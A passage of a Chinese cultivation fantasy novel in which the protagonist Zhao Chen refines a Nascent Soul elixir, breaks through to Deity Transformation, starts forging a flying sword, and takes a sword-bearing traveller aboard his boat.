待三声啼哭结束,婴孩双手抱膝,团在一起,好似在母体中一样。紧接着,又猛然缩小,变作一颗直径三分大小的丹丸。于此同时,弥漫在丹丸周围的种种圆满、如意、生命、灵动的气息也迅速收敛掉,化作一圈圈云纹,浮现在丹丸表面。 赵尘站在一旁,看着那一点灵光变作丹药的过程,不禁抚掌大笑:“吾道成矣!” 幸好赵尘早就在房间周围布置好了阵法,成丹的种种异象既没有被周嗣发现,也没有惊动过往船只。待丹药成型后,赵尘翻掌拿出一个巴掌大的玉匣,对着丹药一招,将丹药收进匣子中,又顺手将匣子放回袖中。 待一切完成后,赵尘才有功夫打理丹鼎中剩下的丹药。 这时,赵尘忽然想起自己刚才在成丹之时,抚掌、大笑、高呼的模样,不禁回首四顾了一番,又伸手搓了搓脸,甩了甩脑袋,好像要将自己刚才中二的样子忘掉。 第五十五章 闭关 一番既是缓解尴尬,又是放松筋骨的动作结束之后,赵尘一拍鼎壁,首先飞出的是数十粒油菜籽大小的各色药丸。这是由周嗣浑浊的元气中混杂的各种药性炼制成的,各有用处,被赵尘用玉盘接住,按用处分类,各自用瓷瓶装好。 接着再一拍丹鼎,九颗拇指大小的丹药从鼎中飞出,被赵尘依旧用玉盘接住。 赵尘捻起一颗丹药仔细观察了一番,整颗丹药色泽青白,质地如玉,隐隐的还有一圈模糊的纹路,构成了一个婴孩的样子。这九颗丹药便是由鼎中剩下的比较纯净的生命元气炼成,因为参与了那一点灵光的整个孕育、蜕变、炼制的过程,加上也沾染了一点先天灵气,所以也是有一点玄妙的。 赵尘仔细感受了一番丹药的药效,若是再熬炼一番,将之炼成可供普通人服用的道丹,或是药膏、药粉等。对普通人来说,近乎是生死人,肉白骨的神药。只要一点,哪怕只剩一口气,无论是外伤还是内伤,甚至是脏腑枯竭,都可以救的回来。 要是正仙道元婴期的修士服用,只要九到十二颗,便可以从初入元婴直到元婴圆满。按每年炼化一颗丹药计算,只要九到十二年便可以完成元婴期的修炼。要知道,一般的正仙道修士,从初入元婴到元婴圆满,少的话要三十年,多的话要五十年。当然了,耗时更少或者更多的也有不少人。 这里说的一般人,其基数是指那些至少能修成炼神返虚,甚至炼虚合道。乃至成仙的修士。这也说明了这丹药的不凡,一颗便可以节省这些修士元婴期大概十分之一的修持。 当然了,这颗丹药其它的用处也是有的,只是没有这两种用处那么明显。这也算赵尘新开创出来的丹方了,思索间,赵尘将这九颗丹药用玉瓶收好,并在瓶身上刻下“元婴丹”三个字,塞回袖中。 将丹药全部收拾好了之后,赵尘又将丹鼎的火熄灭,将瓶子、垫子、葫芦、丹鼎之类的全部塞进衣袖中。 待一切都收拾好,赵尘起身整理了下身上的衣服,走到房间的门前,一挥衣袖,将阵法解除,向屋外走去。看见门外正站在甲板上缓缓打着导引术的周嗣,只见周嗣虽然脸色苍白,身体虚弱,但动作却一板一眼,稳健有力。 待一组动作结束,周嗣缓缓的舒展完身体,这才转过身体,对着赵尘抬手躬身,轻声道:“老师!” 周嗣的声音清朗,动作平和,周身气机。给人好似一种青松立于山巅,明月朗照虚空的感觉。 见此,赵尘不禁满意的点了点头:“周生,我来这里是要和你说一声,我要短暂的闭个关,少则三五天,多则六七日。这段时间你自己多注意一下,船却不用你管。” 周嗣闻言,也没有多问,只是点了点头道:“知道了,这几天我会照顾好自己的。” 赵尘随即又和周嗣交代了几句,回到静室,将门窗封好,并布置好阵法,盘坐在静室中央,又从袖中翻出一座香炉,并拿出一根清香点燃。 这种关键时候,这香不是赵尘自己制作的,而是其自宗中带出来的,最善于静心凝神、安魂定魄,是宗中弟子走神仙法和鬼仙法时,修炼阴神的神物,共有一尺长到九尺长九种规制,每一尺都可以燃烧一天一夜。比如这一根,便足有拇指粗细,八尺长,足可以燃烧八天八夜。 在这青烟袅袅间,赵尘的心思也有些飘飞。 “书中记载,元婴圆满便是三尺高,指的却是后天生灵,我自元婴三尺之后,便有一种不圆满,却又前进无路之感。虽然可以不管不顾,直接突破化神,但终究心有不甘啊!” “我虽感觉虽圆满,却又前进无路。只能说明我逆反先天的过程不完美,只能算半先天生灵,想要完成先天生灵的蜕变,只有参悟出剩下的先天之秘,明悟真正的先天婴孩真意才可以。” “而要参悟这先天之秘,必须有一个参悟对象才可以。如今还有这先天之秘的便只有生灵从胎胞到婴孩,从出生到最后的先天之气消散的过程了。所以想要参悟先天之秘,只有把握住那一点灵光演化胎胞的那一个刹那才可以。” “而这六葫芦中的元气便相当于一个人全部的元气了,我用这六葫芦中的一点先天元气为胎胞,模仿生灵孕育、生长之理,在其生长最盛之时,颠倒乾坤阴阳,使其再逆转成最初之时。如此八十一次,炼虚化实,炼假成真,孕育出这点纯粹旺盛的先天灵光,以此成丹。借此参悟这先天婴孩真意,如今总算是苦尽甘来了啊。” 思绪飘飞间,赵尘从袖中摸出玉匣,将丹药捻起,想了想,以手中这枚丹药做模板。又用磨盘翻出了九颗。赵尘左手一翻,取出玉盘,将十颗丹药放在盘中。 赵尘从盘中捻起一颗丹药,轻轻含在嘴中,调息一番,轻轻一咽,将丹药咽入腹中,变作一点蚕豆大小的灵光,从腹部入气海丹田。在丹药进入嘴中的一瞬间,赵尘在一瞬间将所有思绪全部平复,无数积累在炼丹时的感悟从心底涌起。 那一点灵光在丹田中猛然胀大到拳头大小,透过那一层光芒,可以看见灵光中蜷缩着一个婴孩,好似在母体中沉睡一般,随着婴孩一呼一吸间,灵光微微颤动。同时又有丝丝缕缕的先天元气从灵光中溢了出来,在灵光周围不断演变着,一时间气象万千,玄妙无比。 四个多时辰后,丹田中那一团灵光完全散去,变成一缕缕先天元气。那些先天元气勾连在一起,形成一个复杂的图形,隐隐好像一个双手抱膝的婴孩。随着婴孩一呼一吸,整个图形也微微膨胀收缩,待八十一个呼吸之后,整个图形突然崩毁、消散掉了。 赵尘睁开眼睛,深深的吐了一口气,将丹药所化的元气一点不剩的全部吐了出来。一挥手,将全部元气都从静室中排了出去,接着从玉盘中捻起第二颗丹药。 第五十六章 突破 如此反复,直到赵尘将第八颗丹药所化的元气全部排出室外,看着盘中剩下的两颗丹药:“还差一点,九为极数,虽然我早有准备,并且按我估计,并且从目前看来,成功率还是极大的。但对我来说,无论多大的成功率,都只有百分之零和百分之百的差别。先天生灵啊,成与不成,就看这一次了。” 说着,又将泛起的思绪全部扫净,将第九颗丹药服下,三个时辰之后,赵尘腹内五行之气一绞,将剩下的丹药搅碎,张口将丹药所化的元气喷出口外。一挥衣袖,将元气排出静室,将阵法开到最大,从造化大磨中抽出大量的先天灵气,充斥满整个静室。 赵尘元婴从头顶一跃而出,滴溜溜一转,变成一个青色球状模样的元气团。紧接着,这个元气团消散开来,化作一道道元气锁链,互相勾连在一起,形成一个大致是球体,好似丹炉,又好似蜷缩在一起的婴孩模样的结构。 整个结构将最后一点,也是最核心的一点,好似青色云烟状的元气包裹了起来,赵尘那有质而无形的灵魂便依附在那最核心的元气之上。 若是将满室的先天灵气比作火,那由元气构成的结构便是丹炉,而赵尘那依附在一点元气和元气上的灵魂便是炉中大药。 在“炉火”的“灼烧”下,赵尘的灵魂一点点的由有质而无形逐渐变的有形有质。“炉”中那一团青色云烟中忽然好像出现了一滴无色透明的水滴,随着“水滴”越来越大,“炉”中那一团青色云烟变成了一块被青色云烟包裹的无色透明水晶。 渐渐地,青色云烟好像被水晶吸收掉,变成无色透明水晶中的细密纹路,整个纹路便和“丹炉”的结构一模一样。随着“炉火”的“灼烧”,无色透明,有着细密青色纹路的“水晶”愈发的光辉、璀璨、剔透。 忽然,“水晶”中的青色纹路好像消散掉了,无色透明“水晶”被染成了一块淡青色透明的“水晶”。仔细看来,那青色纹路却没有消失,只是因为只比“水晶”的淡青色要略深一点,所以变得并不明显了。 待“水晶”的情况稳定了之后,整个“丹炉”忽然向“水晶”坍塌去。重新变成了一个青色元气团。元气团滴溜溜一转,变成了一个高三尺三寸三分的婴孩,婴孩胖嘟嘟、圆滚滚,面容好似赵尘刚出生时的样子,眼神清澈、灵动。于以前相比,不但长高了三寸有余,更是质的差距。 以前赵尘的元婴,与其说是婴孩模样,倒不如说是婴孩样子的云朵。而如今,这个元婴便好像是一块完整的极品青玉雕琢而成。赵尘微微往下用力,元婴降到地面,赵尘以元婴之体在地面走了几步,以前走在地面,就好像走在蓬松的棉花上一样,而如今却有一种脚踏实地之感。 赵尘这般实验了一番,轻轻往上一跃,化作一道青光从头顶上空坠入身体,起身撤去阵法,走到门外,凭栏远眺。只见赵尘眼底泛起一阵青色光辉,却是赵尘将神魂之力全部导入双眼。这世间万物,顿时在赵尘眼中变了个样。 首先是自己周围,一个船型的主体为青色的光幕不停流转,光幕各部位颜色深浅不一,流动方向错落有序,这是赵尘脚下的楼船。不远处,有一烛火大小的光圈在缓缓流转。光圈外围色泽暗淡,内部却较为明亮并快速闪烁,同时随着内部每闪烁一次,便有一点光华从内部流向外部。所以随着内部每闪烁一次,外部便微不可查的明亮一分,这是周嗣。 再远处,辽阔无际的洛水上,无尽水泽之气蒸腾而起。水面上,来往船只上的生灵的灵光清晰可见。再远处隐约可见的蒸腾的地气,草木的灵光也一一入目。 抬头望去,空中各色锁链虽粗细不同,疏密不一,却隐隐封锁了整片天地。在无穷高处,有一层法域张开,笼罩了一片天空,法域中隐隐可见一些宫殿的幻影,这片法域便是玄冥部洲的天庭了。 同时,还有无尽的清灵之气混杂着丝丝缕缕的星辰光辉自天穹洒落,无尽的太阳之气似火雨般坠下。无穷无尽的天地灵气如同薄雾般充斥在天地之间,虽颜色深浅不一,却无有空隙。还有各种气运、香火、红尘、真气、法力等各色气息混在在其中。 “原来在先天生灵眼中,世界竟是这般精彩。若是说我肉眼所见是一,灵眼术所见是五,那我如今以先天生灵眼睛所见便是一百。”赵尘不禁感叹道。 “只是这‘视力’变好了,这也更危险了。”直到这时。赵尘才忽然意识到自己的鲁莽,眼中的神光骤然散去。 赵尘眼底的青色光辉敛去后,甩了甩头:“目前对我来说,这般观察世界,不但危险,而且对神魂的消耗还是太大了,但是,即使这样收敛了绝大多数威能,却依然比灵眼术效果要好,怕是要学一学其它法门了。” 以赵尘如今的视力。若是不学一些适当的法门,哪天不小心被闪瞎了眼睛,赵尘自己都毫不意外。 说罢,赵尘屈指算了算,今天是自己闭关的第六天上午。如今自己元婴圆满,真是突破化神的时候,正好还有时间。 想着,赵尘转身回到静室,封闭门窗,重新将阵法布置好,看着还有两尺多长的清香,重新回到炉前盘腿坐好,默默调息。 待整整十二个时辰之后,赵尘手掐指决,元婴自头顶一跃而出,落到赵尘身前,和赵尘隔着香炉相对而坐。 赵尘以元婴之身,手掐指决,口颂真言。一股透明的火焰从元婴表面浮现,随着火焰的灼烧,整个元婴逐渐缩小,变形,好像渐渐融化的玻璃,到最后只剩下一团脸盆大小,亮青色的球体,既好像是气球,又好像是水球,还好像光球,灵光璀璨,玄妙异常。 第五十七章 开辟紫府,进阶化神 随即,那个“光球”从玄关一窍进入赵尘体内。随着一遍周天循环,化作一滩灵水,逐渐流进下丹田,随后将整个下丹田灌满。 同时,赵尘整个下丹田好似有熊熊烈火在燃烧。随着丹田的燃烧,整个下丹田中的灵液丝丝缕缕的化作气体升入中丹田。随着下丹田中灵液的减少,下丹田也跟着逐渐缩小。待最后一点灵液化作气体升入中丹田,下丹田也跟着消失掉了。 待灵液完全化作气体进入中丹田,也和之前一样完全充斥满整个中丹田。中丹田中的气体好像被一只手快速搅动一般,互相碰撞、摩擦了起来。随之,一丝丝玄妙灵光在碰撞、摩擦中产生。而中丹田产生的每一丝、每一缕的灵光都飞入上丹田。如同下丹田一样,随着丝丝缕缕的灵光的离开,中丹田也随之不断缩小,直至完全消失。 随着每一缕灵光的飞入,上丹田逐渐被照亮,同时整个上丹田也愈发的玄妙起来。待所有灵光飞入上丹田之后,所有灵光聚集在一起,好像一轮大日照亮了整片识海。在光球的照耀下,整片识海不断扩大、加固,也变的更加玄妙,好像上、中、下三个丹田合而为一一样。 于此同时,识海的环境也发生巨变,整片识海变成一片直径百里,高数十里的空间。下方被一片青色的‘水’所覆盖,这是赵尘的全部法力,足足有数里深。 在往上,半空中光球之下出现一座四方型的十层台阶。台阶最下面一层长宽各三十丈,之后逐层递减,每层高一丈,最上面一层长宽各十丈。这是赵尘道基在识海中的具显投影。 在空中漂浮的各色极光便是赵尘的灵识、神魂之力什么的。而飘荡在空中的云朵、薄雾之类的便是气运之类的东西在其中的投影、象征。 最上层便是由各种锁链勾连在一起形成的天宇,这便是赵尘所悟的道。随后,锁链在不断运转中逐渐变得透明,最后完全消失掉,化作一片青天。 随后,光球落在台阶之上,逐渐收敛,变作赵尘的样子。 赵尘四周看了看,不禁满意道:“直径一百里,高十八里,法力深三里。按宗内记载,一般突破化神或相关境界,开辟紫府,标准情况是直径十里,高三里,法力深一里。一般人在标准情况上下起伏一成左右。而宗内优秀弟子则是标准情况的两到三倍。” “而我紫府面积是标准的一百倍,高是标准的九倍,法力更是标准的七十五倍。也不枉我打下的坚实基础和为了元婴的最后圆满而苦苦求索。而且这还不是极限,紫府的高度、法力的数量还是有很大的进步空间的。” 说着,赵尘双手虚捧,一脸盆大小的白玉磨盘出现在赵尘手中。 “造化大磨啊造化大磨,辗转三世,我终于又亲手抓住你了。” 当然了,说是抓住了,这实际上其实也只是真正磨盘的投影罢了。 说着,赵尘仔细观察、抚摸着磨盘上的纹路,一时间感叹连连。随后想了想,一松手,造化大磨又消失在虚空中。 “匹夫无罪,怀璧其罪。现在我还没有资格将它拿出来,便是显化在紫府中也不安全。”心思转动间,赵尘盘坐在十层丹台之上,闭上眼睛。 随即,静室中,赵尘睁开双眼,微微一笑,吐了口气:“呼……化神,终于成了。从元婴到化神一点也不难。主要是因为在进阶化神时顺便开辟紫府,所以才比较凶险。接下来从化神到元神却是水到渠成的事情了。” 凡是正仙道修士,无论是天、地、人、神、鬼哪条路,还是古仙道修士,都是要开辟紫府的。而开辟紫府的时机便是在第二阶,即练气化神阶段的修行之中。 本来,在第二阶修行时,紫府是越早开辟越好,但在刚突破到元婴期或类似阶位时,紫府开辟的成功率不高。便是成功了,因为修为太低,开辟的紫府一定不完美。 所以,开辟紫府的最佳时机便是自元婴突破到化神时的那段时间,或者类似的阶段时期。其它不同时期开辟紫府,造成的紫府的小瑕疵在修士阶段基本不显,但成仙之后便会日益凸显出来。所以紫府最佳的开辟时机和法门,若不遇名师指点,便只有门中有不少仙人的大派才知道。 当然了,这紫府的品阶也有不同,对日后的修行也有影响。这一般的,多是在上丹田识海中直接开辟,按照修行功法、自身基础、开辟法门等分个三六九等。但似赵尘这般,这种三丹田合一的法门,是那些顶级大派的不传之秘。 说话间,赵尘起身活动了一番筋骨:“还不知道化神期的出窍是什么感觉,要不趁现在试试?” 想到这里,赵尘又重新坐回原处,闭上双眼。于此同时,盘坐在丹台之上上的赵尘神魂睁开双眼,站起身来,伸手从下往上一扯,从法力湖水中扯起一大块法力,化作衣衫披在身上,抬腿往前一迈,便从紫府中消失。 突然,只见一个呈半透明状的赵尘从盘坐的身体内起身迈出。赵尘回过头看着盘坐在地上的自己,因为元婴出窍时经常看见,倒也不觉得惊奇了,只是视角却和以前不怎么一样了。 赵尘低头看了看自己,只见自己呈半透明状,身披一件青色道袍,周身隐隐有淡青色云烟析出,似神而非人。 赵尘细细感受了一番,神魂状态下的自己,可以自由在虚实之间转换,本来化神期的神魂还是虚幻的,要拿起东西还要以法力为依托。可因为赵尘是先天生灵,神魂凝实不亚于元神,所以才有了这虚实转换之能。想到这里,赵尘更加为自己的决定感到英明。 在静室中一番实验之后,赵尘神魂回到紫府。起身将自己收拾一番,同时将剩下的香熄灭,连同香炉一起塞进袖中。同时收起阵法,打来门窗。此时正是傍晚。望着窗外的江景,赵尘倚在窗口,看着漫天晚霞,不禁幽幽的长叹了一声。 第五十八章 炼制飞剑 广阔无垠的水面之上,一艘楼船在秋风萧瑟中顺着水流东去。赵尘坐在楼船顶层,倚着栏杆向窗外看去,在别人眼中,或是水天一色之景,但在赵尘眼中却是另外一个样子。 在赵尘眼中,天地间阳气逐渐收敛,金煞之气与日俱增。选出相应法术,并完成修炼之后,赵尘在体验着先天生灵的视角。虽然已经过去了好些日子,但赵尘依然觉得新鲜。看待事物的角度发生了变化,思考的角度自然也会随之转变。 虽是在看着天地间的气机变化,但赵尘的思绪却是处于飘飞的状态。 距离赵尘突破化神也是有些日子了,已经将境界彻底稳固了下来,日后便又是一段水磨工夫了。现如今,赵尘在修行上也勉强算是小有成就了,放在前世,或是前前世,那也能称得上一声神通广大了。是不是要整理一下自己的家底了? 想到这里。赵尘又忽然想起自己还有一柄飞剑没有祭炼,如今却正是时候。 之所以选择飞剑,便是因为之前赵尘发现,自己缺一手常规的·护道杀伐之术,为此,除了一堆随身法器之外,赵尘还准备了一对轻重兵刃。重兵刃可以堆材料解决。至于轻兵刃,经过反复思量之后,赵尘还是选择了飞剑。 之所以选择飞剑,首先是省法力,其次是威力大,最后是有足够的成长潜力。 也不否认,赵尘选择飞剑,除了这些原因,也有受到前世和前前世影响的关系。 例如吕纯阳的“朝游岳鄂暮苍梧,袖里青蛇胆气粗”,还有贯休的“满堂花醉三千,一剑霜寒十四州”。无论是“袖中青蛇”,还是“一剑霜寒”皆是对飞剑之术的称赞。 当然了,即使是飞剑之术,也有无数法门,威力也是大小不一。威力小的炼一口肺金之气,杀敌于数丈,乃至数十丈外。威力再大点的,一颗剑丸,杀敌于千里之外。威力更大的,一念间,于数十万里之外,划破苍穹,撕裂大地也只是等闲。便是赵尘,现在也能编写一部武道一脉,先天武者层次的飞剑之术。 先前,赵尘翻阅了宗内的各种飞剑法门,最后选出了一部在宗内也算是上乘的飞剑法门。 这部飞剑法门入门便是小神通级的,而且还是小神通中最顶级的。并且这门小神通成长潜力也是非常大的,成长为非常顶级的大神通也是绰绰有余的。从目前来看,这部飞剑法门足够赵尘用一辈子的。 本来,作为“道”一级的神通,无论是功法,还是术法,都只有成仙之后才能修炼,但总有一些天纵奇才,可以想办法将门栏绕过去,并为后来人指出一条方向。 例如宗门中一位祖师,便将这一门大神通级的飞剑神通进行了由浅到深的梳理,之后又将这一门神通拆分成十二门准神通。 所谓准神通,便是介于“道”和“法”之间的法门,说它是“道”吧,仙级以下的修士是有机会炼成的,虽然极其艰难,成功的可能性微乎其微。可要说它是“法”吧,无论是玄妙还是威力,它都确实触摸到了“道”的层次,虽然说玄妙低了些,威力也小了些。 而小神通,则是在准神通上面更进了一步。小神通在修炼难度上虽远高于准神通,但确实是人间修士可以修成的,且威力和玄妙,都和正式神通一般无二。 接着这位祖师又将每一门准神通分解成一万零八百门“术”一级的法门。要说这样的话,这门准神通也很好练成啊。左右不过一万零八百门术法罢了,少则三五十年,多则一两百年就全部练成了。花费数十上百年,炼成一门对大多数修士而言,可以用一辈子的压箱底手段,绝对是赚大了。 可实际上,每一门准神通的一万零八百门术法必须同时开始,同时结束。这同时调和一万零八百门术法所需要的计算量、对法力的微操、还有对时机的把握足以让人绝望。 并且,在这一万零八百门术法同时开始后,哪怕你不再修炼和使用,因为相互关联的关系,也会有少则一两门,多则数十门术法在其它相关术法的推动下,六十年内自发完成。 所以想要修炼这十二门准神通中的一门,必须要同时修炼和调和这一万零八百门术法,并在六十年内完成。如此这般依次修炼完这十二门准神通,便可以组合成这门小神通级的飞剑法门。 对别人来说或许是千难万难,但对赵尘来说,却是可以作弊的。赵尘通过造化大磨的演算、模拟,将这一万零八百门术法每一门术法的修炼过程分成三百六十个节点。只要每一个节点都能扣上,这一万零八百门术法便能完美组合在一起,成为一门准神通级的飞剑法门。 之后,赵尘通过造化大磨演算和模拟,从第一个节点开始,同时分成一万零八百条路线,最后同时在第二个节点聚合的法门和过程。 一天后,赵尘完成从第一个节点到第二个节点的1全部演算和模拟。随即按照模拟的结果进行,不到一刻钟,赵尘睁开眼睛,欣喜道:“成了。”, “这门飞剑法门还要一柄专门的飞剑才可以。虽然飞剑的材质对飞剑的威力和最后的上限影响不大,但想来最开始作为飞剑的材质还是要尽量好一点总是不错的。” 说话间,赵尘早有准备的将宗中赐下的那一口五彩斩魔剑取出,拿在手中仔细观察。 剑长三尺六寸,宽一寸八分,由五种颜色的神金打制而成,虽不是法器,却也是顶级的神兵宝物,凭材质便有足够的威能。若是铭刻上适宜的符纹、符文、符印,便是一件顶级的法器。再经过最多三五百年的时光洗礼,便能得到一件不错的法宝。 所以对普通弟子来说,把这口五彩斩魔剑作为法宝胚胎,从金丹期一直用到成仙都绰绰有余了。便是成仙之后,这件法宝作为常规兵刃都再能用上一段时间。若是作为承道之宝,一直用下去也不是不可以。对于赵尘来说,这口宝剑虽然珍贵,但也不过如此。 单以数量论,即使不算那些破损的法宝,赵尘拥有的法宝数量比的上一般金仙了。再说了,赵尘已经亲手制作出了一件准法宝,再将这口五彩斩魔剑当做法宝培养的话太浪费了。至于承道之宝,赵尘已经决定用造化大磨了。所以用这口五彩斩魔剑来制作飞剑是极其合适的。 再说了,完好的法宝级的剑器赵尘便还有十几口,若是算上损坏的就更多了,但单以材质来论,能比得上五彩斩魔剑的却没有几口。相比于制作成法宝的剑器,还是白纸上好作画。 若是挑选矿物灵材,直接炼制一口宝剑,如今赵尘能处理的材料,却是没有一样能比的上五彩斩魔剑的材料。 赵尘依据法门,按照日月星辰变化,天地间阴阳五行等各种气息的消长,自身所处方位的变化,自身状态的不同,飞剑各种状态的演变,用自身法力洗炼五彩斩魔剑,同时呼应这飞剑,运转法力,在指尖产生一点萤火虫大小的灵光,并不断把灵光点入五彩斩魔剑中。 第五十九章 宋刀客 三百一十六年,冬。 正近年关,离周嗣完成元气洗炼的日子已经不远了。赵尘的楼船已经穿过洛水,进入济江了。离开了洛水,相比起来,连水面也荒芜了不少。往日不时能见到的数百丈的大船,如今也变成了三、五天看不到一艘。 周嗣依旧在船上活动着身体,从几个月前开始,周嗣便看见赵尘手上突然多了一把宝剑,无论做什么事都将其带在身边,调息的时候将宝剑横放在腿上,其它时候多是将宝剑抱在怀中。 一组动作完成,周嗣看着依旧向西远去的景物,好奇的问道:“老师,我们这是要去哪里,都这样走了快一年半了吧?” “去哪儿?我也不知道,只能说一切随缘,看天意。”听见周嗣的问话,赵尘抬头看了眼天地间的气机变幻,随口答道。 “咦?” “怎么了?” “远处有人拦船。” 周嗣顺着赵尘指着的方向看去,却是什么也没看见。 “那人在三十里外。”见周嗣抬头张望的样子,赵尘解释道。 “三十里外。而且还敢拦陌生的船只?” 闻言,周嗣的表情有些异样。 “呵,出门在外,若是没点手段,怎么行走江湖?放心吧,大概是一位先天八重天的武者。”赵尘依据气运、灵光等作出了大概的判断。 话虽如此,但赵尘心中却也做好了准备。赵尘运转法力,驾着楼船逐渐靠岸、减速。 大约一刻钟之后,赵尘将楼船逐渐向岸边靠去。周嗣这才看见一魁梧的大汉在岸边招手呼喊。 “船家,麻烦带我一程。” 只见那魁梧汉子身着黑色粗布劲装,身高八尺,腰挂一个很大的黄皮酒葫芦。背被一口厚背大刀,两手分别提着两口巨大箱子,一口是一个六尺见方的方形,一口是一个更是足有一丈见方,都是金铁制成。 魁梧汉子看见楼船靠了过来,缓缓停在眼前,船头坐着一十六七岁的少年,怀中抱着一根闪烁这五彩光芒的水晶。连忙拎着箱子跃到船上。 “哈哈,多谢了,小兄弟。” 魁梧大汉将手中箱子轻轻放下,对赵尘拱手道谢:“我叫宋孤山,打算去济州,这些天我沿着江岸赶路,拦了五六次船,只有小兄弟你们的船停了下来。对了,小兄弟,船上其他人呢?” 赵尘转过身看着魁梧壮汉将双手的轻轻箱子放下的情景,不由眉脚一跳,别的不说,单这口六尺见方的铁箱便不下万斤之重。那口一丈见方的箱子,怕是更有几万斤。看这壮汉拎着两口箱子轻轻一跃,又轻拿轻放的样子,这力气,着实是天赋异禀。 听到壮汉的问题,赵尘起身一个稽首:“贫道清微,俗名赵尘。这船上除了贫道和宋兄,便还有一个十三岁的少年,名叫周嗣,随贫道修行。” 说话间,赵尘向船舱中看了一眼。先前,在船只即将靠岸前,周嗣回到了屋子中,防止到时发生意外,自己在一旁碍手碍脚。赵尘虽然嘴上嫌弃,但却也没有阻止。 宋山听赵尘这么一说,身体微微一紧,抱了抱拳:“哈哈,原来是位道长,失敬失敬。” “不必客气,叫我赵尘便好。” “那我就托大,称呼你一声赵兄弟了。” “走,我领你去客房看看,”说着走到宋山面前,看了眼箱子:“需要帮忙吗?” “不麻烦赵兄弟了,我自己来。”说罢,宋孤山拎着箱子便随着赵尘向船舱走去。 赵尘带着宋孤山,将船舱中的情形介绍了一遍,将其领到一处靠近大厅的客房。从客房的门向往外看去,便可以看见甲板,从房门出来左转便是客厅,从客厅旁走过一条走廊便是一间小厨房。站在客房门口便可以通过厨房门把厨房一览无余。 赵尘站在房门口,指着小厨房对着宋山道:“那是一间厨房,因为我平时辟谷,所以你要吃饭的话只能自己做了。又或者等下周嗣做饭的时候帮你做一份。厨房中米面蔬菜调料等都很俱全,你可以随便用,你要是用不惯的话,也可以使用自己携带的干粮或是厨具、餐具。” 说着推开房门,赵尘领着宋山看了看,见宋孤山将两个箱子放在地上,解下酒葫芦放在桌上,走到右边那面墙旁,稍稍用力一推,将窗户推开,指着水面道:“这是房间中唯一一个窗户,因为偏东南方向,早上采光不错,但因为外面就是水面,所以晚上湿气大、寒气重,晚上休息时最好还是开小一点。对了,需要我帮你取一套被褥来吗?” “不麻烦赵兄弟了,我自己有准备。”说着宋孤山将一只箱子打开,从中翻出两张如水的不知名兽皮铺在床上:“一张用来垫,一张用来盖,正好。” 赵尘见状:“那我就不打扰你收拾房间了,再见。” 说罢,便离开房间,回到甲板上。 “赵兄弟先去忙吧,不用管我。”宋孤山一边不断从木箱中翻出一些各种零碎,一边回答道。 …… 大概一刻钟后,正在甲板上练功的周嗣看见宋孤山从房间中走了出来,其腰挎葫芦,背背金刀,一只手摸着肚子,一只手捏着一个布袋。 壮汉看见周嗣,笑道:“赵兄弟,这位就是周嗣周公子吗?” “宋大侠不必客气,叫他周嗣便好了。” “哪里敢当赵兄弟大侠之称。不过是一风里来雨里去,靠一把力气讨食吃的苦力汉子罢了。要是赵兄弟不介意,喊一声宋刀客便是抬举我了。”说着,又对周嗣抱了抱拳:“周兄弟也一样。对了,周兄弟,我叫宋孤山。” “赵兄弟,这是我的船资。” 宋孤山说话间将布袋朝赵尘抛去。赵尘还没有接到手中,就知道布袋中是一袋金砂,大概十来斤左右。一番推辞之后,赵尘随手捏了一把收下,将其它的全部还给了宋孤山。 “你喊我赵兄弟,我便称你一声宋大哥好了,还不知宋大哥这是从哪里来,准备到哪里去呢?” 第六十章 盘底 宋孤山闻言,心中一动,却是不动声色的解释起来。他知道,别看赵尘问的轻松,好像在闲聊,实际上却是在盘他的底,毕竟将他这个陌生人放上船来,若是不管不问,那才是异事,宋孤山对此也十分理解。 宋孤山正欲开口,忽然看了下旁边正在练习着导引术的周嗣:“在这里不会影响周兄弟吗。还有,周兄弟正在练功,我在旁边看着不太好吧?” 赵尘见状,摇了摇头:“没事,再说了,这不过是一些滋养元气的庄稼把式,没什么见不得人的。宋大哥要是看的上,也可以学学,用来养生倒也不错。” 宋山见赵尘这么一说,往旁边挪了几步,靠在船舷边上,往地上一盘:“像我这般的糙汉子,平日里在附近几州行走,一般都会找家商行挂靠。一来可以借助商船往来;二来若是收集到自己不用的宝物,也容易脱手;三来,也方便自己收集一些需要的物资。” 说到这里,壮汉顿了顿,继续道:“前些日子,我从神都出发,打算随聚宝斋的商船去济州济南府。谁知道上个月忽然收到消息,说朝廷正出动大军剿灭在东海之滨作乱的几条蛟龙。” “赵兄弟你也知道,这蛟龙全身上下,包括:血、肉、筋、骨、髓、膏、油、脂、鳞、皮、茸、毛、爪……无不是宝物。所以半个月前,这商船在洛水与济水交界处将我放下,沿洛水去了东海之滨滨。” 赵尘闻言,诧异的问道:“等等,宋大哥。你是说从东海之滨传来的消息。这东海之滨据此足足有一百三十万里之遥,这消息如何传的过来。便是传过来了,等商船赶去,那几条蛟龙也早被人分光了吧?” 赵尘这一开口,便暴露了自己对这方面认识的不足,或是层次低了,接触不到这方面的信息,或是初入江湖,对一些东西不熟悉。但看赵尘的样子,怕是第二种可能性更大。 宋孤山虽在心中做出了判断,但却语气没有一丝停顿和变幻的继续说道。 “赵兄弟有所不知,因为聚宝斋在生意广阔。其所覆盖的八州所有的州城,和滨海城之类的重要府城都有仙人驻守,再加上船上也有修行者存在。其手段神秘莫测,消息从滨海城传到神都只用了不到半个时辰,再从神都传到商船上也不过两天多的时间。” “再说了,聚宝斋的商船本就是快船,若是全力催动,每日足可以行使万里。从这里到滨海城也不过四、五个月的光景。而朝廷剿灭蛟龙,从决定出兵开始,到将蛟龙全部剿灭,差不多需要半年时间。所以从时间上来看,还是绰绰有余的。” “原来如此,受教了。” 赵尘听的暗暗咋舌,宋山所说的仙人,在赵尘看来,应该是神魂一脉的修士,甚至是一位高阶修士,至少是灵肉合一境界的真君级修士,甚至是那神魂一脉的驻世散仙也不无可能。因为只有神魂一脉的修士才要这么深的介入红尘。 若是练气一脉,最忌红尘之气。而正仙道的高阶修行者,若是因为种种原因也有可能和这家商号有牵连、但按宋孤山所说,这家商号明面上被称为仙人的高阶修士就至少有十几位,那却只可能是神湖一脉了。 听宋孤山这么一说,赵尘判断,这家名叫聚宝斋的商行,至少有个位数的神魂一脉的天师级的修士,以及更多真君级的修士。而这样一家商行,在整个窦氏皇朝之中,在明面上,只能算规模比较大的,勉强排个中等偏上罢了。 “对了,之前说到哪儿了?”宋山一拍脑袋:“想起来了,之前说到我虽然挂靠在聚宝斋名下,但毕竟不是其亲自培养出的嫡系,这种好事当然轮不到我。半个月前,商船将我丢在了济水和洛水的交界处,济洛城的码头。之后我便沿着济江一边赶路,一边试图搭个顺风船。还不知道赵兄弟要去哪里呢?” 